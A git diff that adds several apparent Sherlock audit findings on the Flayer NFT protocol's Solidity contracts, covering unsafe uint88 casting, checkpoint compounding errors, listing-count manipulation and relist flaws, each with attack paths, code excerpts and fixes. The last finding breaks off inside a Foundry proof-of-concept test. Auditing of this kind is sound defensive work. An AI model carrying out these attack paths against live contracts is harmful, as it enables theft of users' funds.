--- /dev/null
+++ b/001/534.md
@@ -0,0 +1,101 @@
+Spare Infrared Gerbil
+
+Medium
+
+# `params.quorumVotes` can overflow
+
+### Summary
+
+The `params.quorumVotes` which is the collection shutdown quorum is set in the the `start(...)` function. The value set can overflow causing the quorum to be over/understated thus flagging off execution wrongly.
+
+
+### Root Cause
+
+The overflow is due to the unsafe casting done in the [`start(...)`](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L145-L150) function.
+
+The `params.quorumVotes` is calculated as 50% of the `totalSupply` of the `params.collectionToken`. The `totalSupply` can be as high as:
+ `MAX_SHUTDOWN_TOKENS * 10 ** params.collectionToken.denomination()`
+OR
+`4e18 * 10 ** params.collectionToken.denomination()`
+off which `params.collectionToken.denomination()` can be as high as 9 bringing the maximum value of`totalSupply` to `4e18 *10 ** 9`
+
+
+As shown below, the calculation of [`params.quorumVotes` is casted to `uint88`](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L145-L150) which could lead to an overflow as shown in more detail in the POC section.
+
+```solidity
+File: CollectionShutdown.sol
+135: function start(address _collection) public whenNotPaused { // @audit does not check that the sweeper pool is created
+SNIP ........
+
+143: // Get the total number of tokens still in circulation, specifying a maximum number
+144: // of tokens that can be present in a "dormant" collection.
+145: params.collectionToken = locker.collectionToken(_collection);
+146: @> uint totalSupply = params.collectionToken.totalSupply();
+147: if (totalSupply > MAX_SHUTDOWN_TOKENS * 10 ** params.collectionToken.denomination()) revert TooManyItems();
+148:
+149: // Set our quorum vote requirement
+150: @> params.quorumVotes = uint88(totalSupply * SHUTDOWN_QUORUM_PERCENT / ONE_HUNDRED_PERCENT); // @audit 4) unsafe casting and this will uverfoow for tokens like SHIb
+151:
+SNIP ............
+157: }
+
+```
+
+
+
+### Internal pre-conditions
+
+50% of the collection token total supply is greater than `type(uint88).max`
+
+### External pre-conditions
+
+_No response_
+
+### Attack Path
+
+- 50% of `params.collectionToken.totalSupply()` of the collection token is greater than `type(uint88).max`
+- `params.quorumVotes` is set wrongly breaking accounting and causing the execution to be set wromgly
+
+### Impact
+
+Collection shutdown execution can be flagged off wrongly due to overflow in the `params.quorumVotes` value causing shutdown to be flagged wrongly due to wrong value being set for the `params.quorumVotes`
+
+### PoC
+
+
+As shown below, assume:
+
+`params.collectionToken.totalSupply()` = 1e18 *10 ** 9
+
+Using chisel for calculation
+```solidity
+Welcome to Chisel! Type `!help` to show available commands.
+
+// check the largest value that uint88 can hold safely
+➜ type(uint88).max
+Type: uint88
+├ Hex: 0x
+├ Hex (full word): 0xffffffffffffffffffffff
+└ Decimal: 309485009821345068724781055
+
+// confirm that `params.collectionToken.totalSupply()` is larger than the max value above
+➜ (1e18 *10 ** 9 * 50 / 100) > type(uint88).max
+Type: bool
+└ Value: true
+```
+
+### Mitigation
+
+Consider increasing the type of the `quorumVotes` above `uint88`
+
+```solidity
+ struct CollectionShutdownParams {
+ uint96 shutdownVotes;
+ address sweeperPool;
+ @> uint88 quorumVotes;
+ bool canExecute;
+ ICollectionToken collectionToken;
+ uint availableClaim;
+ uint[] sweeperPoolTokenIds;
+ }
+```
\ No newline at end of file
diff --git a/001/540.md b/001/540.md
new file mode 100644
index 0000000..7097141
--- /dev/null
+++ b/001/540.md
@@ -0,0 +1,134 @@
+Melodic Pickle Goose
+
+High
+
+# Compounded factor for the current block's checkpoint will not be updated and allows for locking in manipulated compounded factor for any new checkpoint
+
+### Summary
+
+Due to the way the **ProtectedListings**#`_currentCheckpoint()` calculates the `_timePeriod` for which to calculate the compounded factor, the `compoundFactor` for the current block's checkpoint will actually **not** be updated in consecutive calls to `_createCheckpoint()` within the same block and will remain as recorded initially.
+
+
+### Root Cause
+
+As `_createCheckpoint()` is called for the first time in a block, a new **Checkpoint** struct will be pushed to the `collectionCheckpoints[_collection]` array of checkpoints. The next time `_createCheckpoint()` is called in the same block, `previousCheckpoint` in the `_currentCheckpoint()` function will now be the last checkpoint we've just created. And it will have `timestamp` = `block.timestamp`.
+
+When calculating the current checkpoint, the `_currentCheckpoint()` function will calculate the accrued interest for the `_timePeriod` between the `block.timestamp` and `previousCheckpoint.timestamp`, which will work for the first time the checkpoint is recorded for the current block, but on consecutive calls the `_timePeriod` will evaluate to 0 due to `block.timestamp = previousCheckpoint.timestamp` and thus their difference will be 0. And when `_timePeriod` is 0 no interest will be compounded resulting in the checkpoint's compound factor staying the same.
+
+The code obviously intends to update the compound factor of the current block's checkpoint if one exists but will fail to do so.
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/ProtectedListings.sol#L530-L571
+```solidity
+ function _createCheckpoint(address _collection) internal returns (uint index_) {
+ // Determine the index that will be created
+ index_ = collectionCheckpoints[_collection].length;
+
+ // ...
+
+ // Get our new (current) checkpoint
+→ Checkpoint memory checkpoint = _currentCheckpoint(_collection);
+
+→ // If no time has passed in our new checkpoint, then we just need to update the
+→ // utilization rate of the existing checkpoint.
+ if (checkpoint.timestamp == collectionCheckpoints[_collection][index_ - 1].timestamp) {
+ // @audit Will NOT change the compoundedFactor's value.
+→ collectionCheckpoints[_collection][index_ - 1].compoundedFactor = checkpoint.compoundedFactor;
+ return index_;
+ }
+
+ // Store the new (current) checkpoint
+ collectionCheckpoints[_collection].push(checkpoint);
+ }
+```
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/ProtectedListings.sol#L580-L596
+```solidity
+ function _currentCheckpoint(address _collection) internal view returns (Checkpoint memory checkpoint_) {
+ // Calculate the current interest rate based on utilization
+ (, uint _utilizationRate) = utilizationRate(_collection);
+
+ // Update the compounded factor with the new interest rate and time period
+ Checkpoint memory previousCheckpoint = collectionCheckpoints[_collection][collectionCheckpoints[_collection].length - 1];
+
+ // Save the new checkpoint
+ checkpoint_ = Checkpoint({
+ compoundedFactor: locker.taxCalculator().calculateCompoundedFactor({
+ _previousCompoundedFactor: previousCheckpoint.compoundedFactor,
+ _utilizationRate: _utilizationRate,
+ // @audit Evaluates to 0 from the second time on this is being called within the same block and thus compounding
+ // the {_previousCompoundFactor} by 1 – essentially not changing it.
+→ _timePeriod: block.timestamp - previousCheckpoint.timestamp
+ }),
+ timestamp: block.timestamp
+ });
+ }
+```
+
+
+### Internal pre-conditions
+
+None
+
+### External pre-conditions
+
+None
+
+### Attack Path
+
+The error in compounded factor calculation will happen by itself alone. However, this can also be exploited intentionally.
+
+$utilizationRate = \dfrac{collection\ protected\ listings\ count\ *\ 1e36\ *\ 10^{denomination}}{CT\ total\ supply}$
+
+So as evident from the formula above – for a constant collection protected listings count, the higher the CollectionToken (CT) total supply for a collection, the lower the utilization rate. And the lower the CT total supply – the higher the utilization rate.
+
+A few scenarios we came up with:
+1. A malicious actor can use it to lock in a higher `compoundedFactor` for the current block's checkpoint forcing users that have protected listings in that collection to accrue more interest over the same period of time as they can control the `utilizationRate` of a collection. The attacker can deposit NFTs directly to the **Locker** in one block then in the next block redeem them to bring up the `utilizationRate` and then call **ProtectedListings**#`createCheckpoint()` to lock in a higher compounded factor for that block. After that they can deposit back the NFTs in the same block so they are able to repeat this attack for as long as they wish.
+2. A malicious actor can deposit NFTs at the beginning of a block to bring down the `utilizationRate` of a collection and then call **ProtectedListings**#`createCheckpoint()` to lock in a lower `compoundedFactor` for the collection's current block checkpoint. Thus the attacker and other users will accrue less interest on their protected listings (loans). After this they can redeem the listings in the **Locker** and get their NFTs back.
+
+
+### Impact
+
+Due to some actions in the **Locker** contract **NOT** checkpointing a collection's compounded factor – `deposit()`, `redeem()` and `unbackedDeposit()` (which is an issue of its own with a different root cause), an attacker or an unsuspecting user can lock in the current block's checkpoint for a collection at a better or worse `compoundedFactor` than what the actual compounded factor for that collection will be at the end of the block when more actions that affect its utilization rate are performed.
+
+$compoundedFactor = \dfrac{previousCompoundFactor\ *\ (1e18 + (perSecondRate\ / 1000 * timePeriod))}{1e18}$
+
+Where:
+$perSecondRate = \dfrac{interestRate * 1e18}{365 * 24 * 60 * 60}$
+
+$interestRate = 200 + \dfrac{utilizationRate * 600}{0.8e18}$ – When `utilizationRate` ≤ 0.8e18 (`UTILIZATION_KINK`)
+OR
+$interestRate = (\dfrac{(utilizationRate - 200) * (100 - 8)}{1e18 - 200} + 8) * 100$ – When `utilizationRate` > 0.8e18 (`UTILIZATION_KINK`)
+
+Which shows the `compoundedFactor` is a function of the `utilizationRate` (and the `timePeriod` and the `previousCompoundFactor`) which is controllable by anyone due to another issue with a different root cause, and as outlined in the **Attack Path** section, for a constant collection protected listings count, the higher the CollectionToken (CT) total supply for a collection, the lower the utilization rate. And the lower the CT total supply – the higher the utilization rate.
+
+As a result owners of protected listings in a given collection can be made to pay more interest on their loans or the borrowers themselves can lower the interest they are supposed to pay on their loans.
+
+
+### PoC
+
+See **Attack Path** and **Impact**.
+
+
+### Mitigation
+
+```diff
+diff --git a/flayer/src/contracts/ProtectedListings.sol b/flayer/src/contracts/ProtectedListings.sol
+index 92ac03a..575e3ff 100644
+--- a/flayer/src/contracts/ProtectedListings.sol
++++ b/flayer/src/contracts/ProtectedListings.sol
+@@ -584,6 +584,13 @@ contract ProtectedListings is IProtectedListings, ReentrancyGuard {
+ // Update the compounded factor with the new interest rate and time period
+ Checkpoint memory previousCheckpoint = collectionCheckpoints[_collection][collectionCheckpoints[_collection].length - 1];
+
++ // If there is already a checkpoint for this block, actually get the truly previous
++ // checkpoint which is second to last as in the beginning of a block we've pushed the
++ // current new checkpoint to the array.
++ if (previousCheckpoint.timestamp == block.timestamp) {
++ previousCheckpoint = collectionCheckpoints[_collection][collectionCheckpoints[_collection].length - 2];
++ }
++
+ // Save the new checkpoint
+ checkpoint_ = Checkpoint({
+ compoundedFactor: locker.taxCalculator().calculateCompoundedFactor({
+
+```
diff --git a/001/547.md b/001/547.md
new file mode 100644
index 0000000..73f0486
--- /dev/null
+++ b/001/547.md
@@ -0,0 +1,90 @@
+Happy Wintergreen Kookaburra
+
+High
+
+# The `relist` function does not check whether the listing is a liquidation listing causing users to pay taxes and refunds being paid to the listing owner who did not pay taxes
+
+## Summary
+Since liquidated listings are created without the original owner paying taxes, the lack of a check for the liquidation status means the system might incorrectly process a tax refund for a listing that was liquidated, allowing the original owner to receive funds they should not be entitled to
+## Vulnerability Detail
+Liquidated listings are created without the original owner paying taxes. If the system lacks a check for liquidation status, it might process a tax refund incorrectly, The absence of a liquidation status check can lead to the original owner receiving tax refunds for liquidated listings, which they are not entitled to. This creates an opportunity for the owner to receive funds improperly
+
+The problem arises because the `relist` function does not check if the Listing being relisted was from a liquidation or not, therefore causing the "relister" to pay taxes and the contract depositing refunds to the "liquidated user" who did not pay taxes.
+## Impact
+Without checking liquidation status, the system may wrongly process tax refunds for liquidated listings, allowing the original owner to receive undeserved funds. This error could result in a loss of funds within the protocol.
+
+## Code Snippet
+- https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L644
+
+Whole Function
+
+```solidity
+ function relist(CreateListing calldata _listing, bool _payTaxWithEscrow) public nonReentrant lockerNotPaused {
+ // Load our tokenId
+ address _collection = _listing.collection;
+ uint _tokenId = _listing.tokenIds[0];
+
+ // Read the existing listing in a single read
+ Listing memory oldListing = _listings[_collection][_tokenId];
+
+ // Ensure the caller is not the owner of the listing
+ if (oldListing.owner == msg.sender) revert CallerIsAlreadyOwner();
+
+ // Load our new Listing into memory
+ Listing memory listing = _listing.listing;
+
+ // Ensure that the existing listing is available
+ (bool isAvailable, uint listingPrice) = getListingPrice(_collection, _tokenId);
+ if (!isAvailable) revert ListingNotAvailable();
+
+ // We can process a tax refund for the existing listing
+@>(uint _fees,) = _resolveListingTax(oldListing, _collection, true);
+ if (_fees != 0) {
+ emit ListingFeeCaptured(_collection, _tokenId, _fees);
+ }
+
+ // Find the underlying {CollectionToken} attached to our collection
+ ICollectionToken collectionToken = locker.collectionToken(_collection);
+
+ // If the floor multiple of the original listings is different, then this needs
+ // to be paid to the original owner of the listing.
+ uint listingFloorPrice = 1 ether * 10 ** collectionToken.denomination();
+ if (listingPrice > listingFloorPrice) {
+ unchecked {
+ collectionToken.transferFrom(msg.sender, oldListing.owner, listingPrice - listingFloorPrice);
+ }
+ }
+
+ // Validate our new listing
+ _validateCreateListing(_listing);
+
+ // Store our listing into our Listing mappings
+ _listings[_collection][_tokenId] = listing;
+
+ // Pay our required taxes
+ payTaxWithEscrow(address(collectionToken), getListingTaxRequired(listing, _collection), _payTaxWithEscrow);
+
+ // Emit events
+ emit ListingRelisted(_collection, _tokenId, listing);
+}
+```
+
+
+
+## Tool used
+
+Manual Review
+
+## Recommendation
+Add a check inside the `relist` Function to prevent taxes being paid for listings that were liquidated
+```diff
+ // We can process a tax refund for the existing listing
++ if (!_isLiquidation[_collection][_tokenId]) {
+ (uint _fees,) = _resolveListingTax(oldListing, _collection, true);
+ if (_fees != 0) {
+ emit ListingFeeCaptured(_collection, _tokenId, _fees);
+ }
++ } else {
++ delete _isLiquidation[_collection][_tokenId];
++ }
+```
\ No newline at end of file
diff --git a/001/548.md b/001/548.md
new file mode 100644
index 0000000..ae1f9a4
--- /dev/null
+++ b/001/548.md
@@ -0,0 +1,47 @@
+Raspy Raspberry Tapir
+
+High
+
+# `Listings::reserve` reduces the listing count without deleting them; can be abused to shutdown a collection
+
+### Summary
+
+Function [Listings::reserve](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L724-L725) reduces the `listingCount` variable, but doesn't delete the listing itself. This creates a discrepancy in the internal accounting system, and can be exploited e.g. to mistakenly shutdown a collection, by reducing the accounted listing count to zero, which in turn leads to burning all collection tokens from `Locker`. Another impact is that by reducing the `listingCount` for a collection disproportionate to the actual number of listings, any other function that tries to reduce it (e.g. `fillListings`, `cancelListings`, etc.) will revert when trying to decrement it below zero.
+
+### Root Cause
+
+Function [Listings::reserve](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L724-L725) reduces the `listingCount` variable, but doesn't delete the listing itself:
+
+```solidity
+// Reduce the amount of listings
+unchecked { listingCount[_collection] -= 1; }
+```
+
+### Internal pre-conditions
+
+none
+
+### External pre-conditions
+
+none
+
+### Attack Path
+
+1. For any collection, an attacker creates their listing with the floor price
+2. The attacker calls `reserve` for their listing repeatedly from another account, thus transferring zero funds but reducing `listingCount[_collection]` to `0`.
+3. Function [CollectionShutdown::_hasListings](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L494-L511) now passes, and the collection shutdown can now mistakenly be executed, though there are still listings existing.
+4. [Locker::sunsetCollection](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Locker.sol#L409-L427) is called, which burns all Locker's balance of collection tokens.
+
+### Impact
+
+Definite loss of funds:
+ - a collection can be sunset though it shouldn't be; all collection tokens are burnt from `Locker`.
+ - any function that tries to reduce `listingCount[_collection]` (e.g. `fillListings`, `cancelListings`, etc.) will revert when trying to decrement it below zero. Users will lose funds due to the inability to perform operations with their listings, as well as due to the tax accumulating over time.
+
+### PoC
+
+not required according to the rules
+
+### Mitigation
+
+In `reserve`, not only decrement `listingCount[_collection]` but also delete the corresponding listing.
\ No newline at end of file
diff --git a/001/549.md b/001/549.md
new file mode 100644
index 0000000..e361467
--- /dev/null
+++ b/001/549.md
@@ -0,0 +1,78 @@
+Happy Wintergreen Kookaburra
+
+High
+
+# The `reserve` Function Fails to Delete `_isLiquidation` Mapping, Causing Refund not being paid for that Token Future Listings
+
+## Summary
+The `reserve` function fails to clear the `_isLiquidation` mapping for a token ID after reservation. As a result, when the token is listed again in the future, it may be incorrectly flagged as liquidated, leading to potential issues with refund entitlements for the token owner
+## Vulnerability Detail
+The `reserve` function does not clear the `_isLiquidation` mapping for a token ID. As a result, when the token is listed in the future, the owner may not receive refunds they are entitled to due to the Token being marked as liquidation as `_fillListing` checks if the Token is a Liquidation or not when a buyer is about to pay taxes.
+
+Future listing may prevent the owner from receiving the refunds they are entitled to. This occurs because `_fillListing` checks the `_isLiquidation` status to determine if taxes are applicable when a buyer is about to pay.
+
+## Impact
+As a result, the owner may not receive refunds they should be entitled to because the system mistakenly treats the token as still in liquidation status, causing a user(Owner) to have paid (the required tax amount + The amount that should have been paid by the Buyer).
+
+## Code Snippet
+- https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L706-L726
+
+
+Snippet
+
+```solidity
+if (oldListing.owner != address(0)) {
+ // We can process a tax refund for the existing listing if it isn't a liquidation
+ if (!_isLiquidation[_collection][_tokenId]) {
+ (uint _fees,) = _resolveListingTax(oldListing, _collection, true);
+ if (_fees != 0) {
+ emit ListingFeeCaptured(_collection, _tokenId, _fees);
+ }
+ }
+
+ // If the floor multiple of the original listings is different, then this needs
+ // to be paid to the original owner of the listing.
+ uint listingFloorPrice = 1 ether * 10 ** collectionToken.denomination();
+ if (listingPrice > listingFloorPrice) {
+ unchecked {
+ collectionToken.transferFrom(msg.sender, oldListing.owner, listingPrice - listingFloorPrice);
+ }
+ }
+
+ // Reduce the amount of listings
+ unchecked { listingCount[_collection] -= 1; }
+}
+```
+
+
+
+## Tool used
+
+Manual Review
+
+## Recommendation
+After the Liquidation check has confirmed the Token to be a Liquidated Token Id, delete the `_isLiquidation` mapping to regard the token as non liquidated as someone else is in Hold of it (will be if they unlock the protected listing)
+```diff
+if (oldListing.owner != address(0)) {
+ // We can process a tax refund for the existing listing if it isn't a liquidation
+ if (!_isLiquidation[_collection][_tokenId]) {
+ (uint _fees,) = _resolveListingTax(oldListing, _collection, true);
+ if (_fees != 0) {
+ emit ListingFeeCaptured(_collection, _tokenId, _fees);
++ } else {
++ delete _isLiquidation[_collection][_tokenId;
++ }
+ }
+
+ // If the floor multiple of the original listings is different, then this needs
+ // to be paid to the original owner of the listing.
+ uint listingFloorPrice = 1 ether * 10 ** collectionToken.denomination();
+ if (listingPrice > listingFloorPrice) {
+ unchecked {
+ collectionToken.transferFrom(msg.sender, oldListing.owner, listingPrice - listingFloorPrice);
+ }
+ }
+
+ // Reduce the amount of listings
+ unchecked { listingCount[_collection] -= 1; }
+```
\ No newline at end of file
diff --git a/001/552.md b/001/552.md
new file mode 100644
index 0000000..d2426dc
--- /dev/null
+++ b/001/552.md
@@ -0,0 +1,55 @@
+Genuine Slate Sloth
+
+High
+
+# Users Lose Funds When Cancelling Collection Shutdown
+
+## Summary
+Users who voted to shut down the collection will lose funds when the `CollectionShutdown::cancel` function is called.
+
+## Vulnerability Detail
+When the `CollectionShutdown::cancel` function is executed, the `_collectionParams[_collection]` state variable is deleted. As a result, the value of `_collectionParams[_collection].shutdownVotes` is reset to 0. This leads to an underflow error when a user who voted to shut down the collection attempts to call the `CollectionShutdown::reclaimVote` function, causing the transaction to always revert.
+
+[CollectionShutdown::cancel](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L390-L405) function
+```Solidity
+function cancel(address _collection) public whenNotPaused {
+ // Ensure that the vote count has reached quorum
+ CollectionShutdownParams memory params = _collectionParams[_collection];
+ if (!params.canExecute) revert ShutdownNotReachedQuorum();
+
+ if (params.collectionToken.totalSupply() <= MAX_SHUTDOWN_TOKENS * 10 ** locker.collectionToken(_collection).denomination()) {
+ revert InsufficientTotalSupplyToCancel();
+ }
+
+ // Remove our execution flag
+=> delete _collectionParams[_collection];
+ emit CollectionShutdownCancelled(_collection);
+}
+```
+
+[CollectionShutdown::reclaimVote](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L356-L377) function
+```Solidity
+function reclaimVote(address _collection) public whenNotPaused {
+ ...
+ // We delete the votes that the user has attributed to the collection
+=> params.shutdownVotes -= uint96(userVotes); // Revert due to Underflow error
+ delete shutdownVoters[_collection][msg.sender];
+
+ // We can now return their tokens
+ params.collectionToken.transfer(msg.sender, userVotes);
+ ...
+}
+```
+## Impact
+Users who voted to shut down the collection will lose their funds.
+
+## Code Snippet
+- [CollectionShutdown::cancel](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L390-L405) function
+- [CollectionShutdown::reclaimVote](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L356-L377) function
+
+## Tool used
+
+Manual Review
+
+## Recommendation
+Reset all other fields in `_collectionParams[_collection]` except for `shutdownVotes`.
\ No newline at end of file
diff --git a/001/554.md b/001/554.md
new file mode 100644
index 0000000..aead517
--- /dev/null
+++ b/001/554.md
@@ -0,0 +1,43 @@
+Witty Burlap Capybara
+
+Medium
+
+# `relist` does not set the create time of the listing, so the attacker can set the create time to the future.
+
+### Summary
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L665
+In the `relist` function, users can pay the fee for the existing listing and reset the parameters. `_validateCreateListing` is called to check the listing before setting the parameters, but it does not check the created. Therefore, the attacker can set the created arbitrarily. For the attacker, setting it to the future will be more profitable, because for the same operation time (reserve, relist, cancelListings), the attacker will pay less tax and listing price will be higher.
+
+### Root Cause
+
+In `Listings.sol:665`, there is no check or reset for the listing created.
+
+### Internal pre-conditions
+
+_No response_
+
+### External pre-conditions
+
+_No response_
+
+### Attack Path
+
+1. someone create a listing
+2. attatck relist it with new parameters where created is a future time
+3. when this listing is `reserve`ed or `relist`ed, the listing price will be higher
+
+### Impact
+
+Attacker can set the listing createTime to a future time, in order to reduce the tax and increase the listing price.
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+```solidity
+listing.created = block.timestamp;
+_listings[_collection][_tokenId] = listing;
+```
\ No newline at end of file
diff --git a/001/558.md b/001/558.md
new file mode 100644
index 0000000..d9cbcd1
--- /dev/null
+++ b/001/558.md
@@ -0,0 +1,81 @@
+Fancy Emerald Lark
+
+Medium
+
+# Protected listing allows to adjust their token taken amount even if their listing is liquidatable
+
+## Summary
+Impact: borrowing the liquidity(collection token) forever. Also allowing them to adjust their debt while prone is liquidation is against the lending/protected listing norms.
+Root cause: weak validation of the current debt.
+
+## Vulnerability Detail
+Listers who listed as protected listing can adjust their listing's token taken amount that determines their listing health.
+But adjusting is possible even if the listing is currently liquidatable meaning `getProtectedListingHealth` will return < 0.
+Mostly in lending protocols, if their debt is liquidatable, then the borrowers are not allowed to (repay interest/decrease their borrowed amount/ increase collateral ).
+
+But here, in the protected listing, the listers can change their token taken amount even if their listing is currently liquidatble. It's a missing validation. Just check if the debt is always > 0 before adjusting their token taken amounts.
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/ProtectedListings.sol#L377
+
+
+```solidity
+ function adjustPosition(address _collection, uint _tokenId, int _amount) public lockerNotPaused {
+ ---- SNIP ----
+
+ // Get the current debt of the position
+ >>> int debt = getProtectedListingHealth(_collection, _tokenId);
+
+ ---- SNIP ----
+
+
+ // Check if we are decreasing debt
+ if (_amount < 0) {
+ if (debt + int(absAmount) >= int(MAX_PROTECTED_TOKEN_AMOUNT)) revert IncorrectFunctionUse();
+ ---- SNIP ----
+
+ _protectedListings[_collection][_tokenId].tokenTaken -= uint96(absAmount);
+ }
+ // Otherwise, the user is increasing their debt to take more token
+ else {
+ if (_amount > debt) revert InsufficientCollateral();
+ ---- SNIP ----
+
+ // Update the struct to reflect the new tokenTaken, protecting from overflow
+ _protectedListings[_collection][_tokenId].tokenTaken += uint96(absAmount);
+ }
+
+ emit ListingDebtAdjusted(_collection, _tokenId, _amount);
+ }
+```
+
+
+## Impact
+borrowing the liquidity(collection token) forever. Also allowing to adjust their debt while prone is liquidation is against the lending/protected listing norms.
+
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/ProtectedListings.sol#L377
+
+## Tool used
+
+Manual Review
+
+## Recommendation
+https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/ProtectedListings.sol#L377
+
+```diff
+ function adjustPosition(address _collection, uint _tokenId, int _amount) public lockerNotPaused {
+ ---- SNIP ----
+
+ // Make sure caller is owner
+ if (protectedListing.owner != msg.sender) revert CallerIsNotOwner(protectedListing.owner);
+
+ // Get the current debt of the position
+ int debt = getProtectedListingHealth(_collection, _tokenId);
++ if(debt < 0 ) revert();
+
+ // Calculate the absolute value of our amount
+ uint absAmount = uint(_amount < 0 ? -_amount : _amount);
+ ---- SNIP ----
+
+ }
+```
\ No newline at end of file
diff --git a/001/562.md b/001/562.md
new file mode 100644
index 0000000..c7e0df5
--- /dev/null
+++ b/001/562.md
@@ -0,0 +1,145 @@
+Genuine Slate Sloth
+
+High
+
+# Users can't claim ETH after the collection has been shut down and fully liquidated due to unsafe casting
+
+## Summary
+In the `CollectionShutdown` contract, users cannot claim ETH after the collection has been shut down and fully liquidated due to unsafe casting of `uint88` for `quorumVotes`.
+
+## Vulnerability Detail
+In the `CollectionShutdown` contract, the `CollectionShutdownParams` struct contains a field `quorumVotes` of type `uint88`. The maximum value of `uint88` is (2^88 − 1) < 10^27. As a result, in the `CollectionShutdown::start` and `CollectionShutdown::execute` functions, when casting the total supply of `CollectionToken` (which can have a denomination equal to 9) to type `uint88`, the value of `quorumVotes` can be significantly smaller than expected.
+
+Unsafe casting in [CollectionShutdown::start](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L150) function:
+```Solidity
+function start(address _collection) public whenNotPaused {
+ ...
+ // Get the total number of tokens still in circulation, specifying a maximum number
+ // of tokens that can be present in a "dormant" collection.
+ params.collectionToken = locker.collectionToken(_collection);
+ uint totalSupply = params.collectionToken.totalSupply();
+ if (totalSupply > MAX_SHUTDOWN_TOKENS * 10 ** params.collectionToken.denomination()) revert TooManyItems();
+
+ // Set our quorum vote requirement
+ // The total supply only needs to equal 10**27 for the error to occur
+=> params.quorumVotes = uint88(totalSupply * SHUTDOWN_QUORUM_PERCENT / ONE_HUNDRED_PERCENT);
+ ...
+}
+```
+
+Unsafe casting in [CollectionShutdown::execute](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L246-L248) function:
+```Solidity
+function execute(address _collection, uint[] calldata _tokenIds) public onlyOwner whenNotPaused {
+ ...
+ // Refresh total supply here to ensure that any assets that were added during
+ // the shutdown process can also claim their share.
+ uint newQuorum = params.collectionToken.totalSupply() * SHUTDOWN_QUORUM_PERCENT / ONE_HUNDRED_PERCENT;
+ if (params.quorumVotes != newQuorum) {
+=> params.quorumVotes = uint88(newQuorum);
+ }
+ ...
+}
+```
+
+Because `quorumVotes` is smaller than expected, many users are unable to claim their ETH after the collection has been shut down and fully liquidated.
+
+[CollectionShutdown::claim](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L310) function:
+
+```Solidity
+function claim(address _collection, address payable _claimant) public nonReentrant whenNotPaused {
+ ...
+ // params.quorumVotes * ONE_HUNDRED_PERCENT / SHUTDOWN_QUORUM_PERCENT < totalSupply
+ uint amount = params.availableClaim * claimableVotes / (params.quorumVotes * ONE_HUNDRED_PERCENT / SHUTDOWN_QUORUM_PERCENT);
+ (bool sent,) = _claimant.call{value: amount}('');
+ if (!sent) revert FailedToClaim();
+ ...
+}
+```
+## Impact
+Users can't claim ETH after the collection has been shut down and fully liquidated.
+
+## Proof of Concept
+Copy this test case into the `CollectionShutdown.t.sol` file:
+
+```Solidity
+function test_unsafeCastingQuorumVotes() external {
+ locker.createCollection(address(erc721c), 'Test Collection', 'TEST', 9);
+ locker.setInitialized(address(erc721c), true);
+
+ ICollectionToken collectionErc20Token = locker.collectionToken(address(erc721c));
+ uint256 erc20Denomination = collectionErc20Token.denomination();
+
+ // Mint erc20 token for users
+ address user1 = makeAddr('user1');
+ address user2 = makeAddr('user2');
+ address user3 = makeAddr('user3');
+ uint256 mintAmount = 1 ether * 10 ** erc20Denomination;
+ vm.startPrank(address(locker));
+ collectionErc20Token.mint(user1, mintAmount);
+ collectionErc20Token.mint(user2, mintAmount);
+ collectionErc20Token.mint(user3, mintAmount);
+ vm.stopPrank();
+
+ uint256 totalSupply = collectionErc20Token.totalSupply();
+ assertEq(totalSupply, 3 ether * 10** erc20Denomination);
+
+ // Initiate the process to shut down the collection
+ vm.startPrank(user1);
+ collectionErc20Token.approve(address(collectionShutdown), mintAmount);
+ collectionShutdown.start(address(erc721c));
+ vm.stopPrank();
+
+ // Check shutdown params
+ ICollectionShutdown.CollectionShutdownParams memory shutdownParams = collectionShutdown.collectionParams(address(erc721c));
+ assertEq(shutdownParams.shutdownVotes, 1 ether * 10** erc20Denomination);
+ // Formula for calculating quorumVotes: uint88(totalSupply * SHUTDOWN_QUORUM_PERCENT / ONE_HUNDRED_PERCENT)
+ uint256 expectedQuorumVotes = totalSupply * 50 / 100;
+ assertLt(shutdownParams.quorumVotes, expectedQuorumVotes);
+ console.log('Total supply: ', totalSupply);
+ console.log('Expected quorumVotes: ', expectedQuorumVotes);
+ console.log('Actual quorumVotes: ', shutdownParams.quorumVotes);
+ // Even initial shutdown votes exceed quorum votes
+ assertLt(shutdownParams.quorumVotes, shutdownParams.shutdownVotes);
+
+ // More importantly, it will prevent users from claiming ETH after the collection has been shut down and fully liquidated
+ uint256 availableToClaim = 5 ether;
+ // Formula for calculating the ETH amount to claim: availableClaim * claimableVotes / (quorumVotes * 100 / 50)
